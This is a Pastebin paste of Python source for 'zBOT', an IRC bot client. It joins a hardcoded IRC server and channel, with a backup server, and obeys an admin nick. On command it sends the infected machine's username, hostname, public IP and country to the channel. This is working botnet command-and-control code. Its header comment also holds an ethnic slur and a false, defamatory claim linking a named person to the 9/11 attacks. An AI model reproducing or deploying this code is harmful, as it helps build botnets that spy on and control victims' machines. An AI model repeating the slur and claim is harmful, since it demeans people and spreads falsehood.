Guest User

zBOT IRC Bot (Modified for dolphin)

a guest
Jan 13th, 2013
318
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.20 KB | None | 0 0
  1. #NOTE: This source has been modified for dolphin, aka denzel "sandnigger" foxx, the terrorist who was responsible for the 9/11 attacks. windows functions stripped for linux use.
  2.  
  3. # zBOT IRC Bot
  4. # Version 1.0.0
  5. # Coded by InvisibleMan in Python 2.7
  6. # Download : http://sourceforge.net/projects/zbotirc/
  7. # File     : zbot.py
  8.  
  9. #IMPORTS
  10. import os
  11. import random
  12. import socket
  13. import string
  14. import sys
  15. import time
  16. import urllib2
  17.  
  18. #VERSION CHECK
  19. if sys.version_info < (2, 7, 0):
  20.     sys.exit()
  21.  
  22. #CONFIG
  23. admin       = 'dolphin'                #Admin IRC Nick.
  24. ircs        = 'irc.grovenation.net'     #IRC Server.
  25. ircp        = 6667                      #IRC Port.
  26. ircc        = '#grove'                  #IRC Channel.
  27. ircs_backup = 'irc.backup-server.com'   #Backup IRC Server.
  28. ircp_backup = 6667                      #Backup IRC Port.
  29. ircc_backup = '#backup-channel'         #Backup IRC Channel.
  30. version     = '1.0.0'                   #zBOT Version.
  31.  
  32. #GLOBALS
  33. attempt   = 1
  34. irc       = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  35. connected = False
  36.    
  37. #COUNTRY
  38. def getCountry():
  39.     if getIP() == 'Unknown IP':
  40.         return 'Unknown Country'
  41.     else:
  42.         try:
  43.             url = urllib2.urlopen('http://api.wipmania.com/' + getIP())
  44.             country = url.read()
  45.             return country
  46.         except:
  47.             return 'Unknown Country'
  48.  
  49. #IP ADDRESS
  50. def getIP():
  51.     try:
  52.         url = urllib2.urlopen('http://automation.whatismyip.com/n09230945.asp')
  53.         ip = url.read()
  54.         return ip
  55.     except:
  56.         return 'Unknown IP'
  57.  
  58. #RANDOM KEY
  59. def getKey(length):
  60.     length = int(length)
  61.     charSet = string.digits + string.digits
  62.     randomChar = ''.join(random.sample(charSet,length))
  63.     return randomChar
  64.  
  65. #RANDOM STRING
  66. def getRandom(length):
  67.     length = int(length)
  68.     charSet = string.ascii_lowercase + string.ascii_uppercase + string.digits
  69.     randomChar = ''.join(random.sample(charSet,length))
  70.     return randomChar
  71.  
  72. #CONNECT
  73. def irc_connect(server, port, channel, nick):
  74.     global irc
  75.     irc.connect((server, port))
  76.     time.sleep(3)
  77.     irc_raw('NICK ' + nick)
  78.     time.sleep(3)
  79.     irc_raw('USER ' + nick + ' h h :h')
  80.     time.sleep(3)
  81.     irc_join(channel)
  82.  
  83. #DISCONNECT
  84. def irc_disconnect():
  85.     global irc
  86.     irc_raw('QUIT')
  87.  
  88. #JOIN
  89. def irc_join(channel):
  90.     global irc
  91.     irc_raw('JOIN ' + channel)
  92.  
  93. #MESSAGE
  94. def irc_msg(msg):
  95.     global ircc
  96.     global irc
  97.     irc_raw('PRIVMSG ' + ircc + ' : ' + msg)
  98.  
  99. #PART
  100. def irc_part(channel):
  101.     global irc
  102.     irc_raw('PART ' + channel)
  103.  
  104. #RAW
  105. def irc_raw(msg):
  106.     global irc
  107.     irc.send(msg + '\r\n')
  108.    
  109. #SETUP
  110. key = getKey(4)
  111. nick = '[zBOT]' + key
  112.  
  113. #IRC CONNECT
  114. while connected == False:
  115.     if not attempt == 5:
  116.         try:
  117.             try:
  118.                 irc_connect(ircs, ircp, ircc, nick)
  119.                 connected = True
  120.                 ircc = ircc
  121.             except:
  122.                 irc_connect(ircs_backup, ircp_backup, ircc_backup, nick)
  123.                 connected = True
  124.                 ircc = ircc_backup
  125.         except:
  126.             attempt = attempt + 1
  127.             time.sleep(60)
  128.     elif attempt == 5:
  129.         sys.exit()
  130.  
  131. #COMMANDS
  132. while connected == True:
  133.     data = irc.recv(4096)
  134.     data = data.strip('\n\r')
  135.     split = data.split()
  136.  
  137.     if data.find('PING') != -1:
  138.         irc_raw('PONG ' + split[1])
  139.  
  140.     if data.find('QUIT') != -1 and data.find(admin) != -1:
  141.         lock =  True
  142.  
  143.     if data.find('PART') != -1 and data.find(admin) != -1:
  144.         lock = True
  145.  
  146.     if data.find ('PRIVMSG') != -1:
  147.         nick = data.split('!')[0].replace(':', '', 1)
  148.         host = data.split('@')[1].split(' ')[0]
  149.     msg = ''.join(data.split(':', 2)[2:]).replace('\r\n', '')
  150.     auto_lock = 0
  151.  
  152.     if nick == admin:            
  153.             if msg == '.info':
  154.                 username = os.environ.get('USERNAME')
  155.                 hostname = os.environ.get('COMPUTERNAME')
  156.                 irc_msg('[INFO] - Version ' + version + ' - ' + username.lower() + '@' + hostname.lower() + ' - ' + getIP() + ' - ' + getCountry())
  157.  
  158.             elif msg == '.kill ' + key:
  159.                 sys.exit()
  160.  
  161.             elif msg == '.nuke':
  162.                 sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment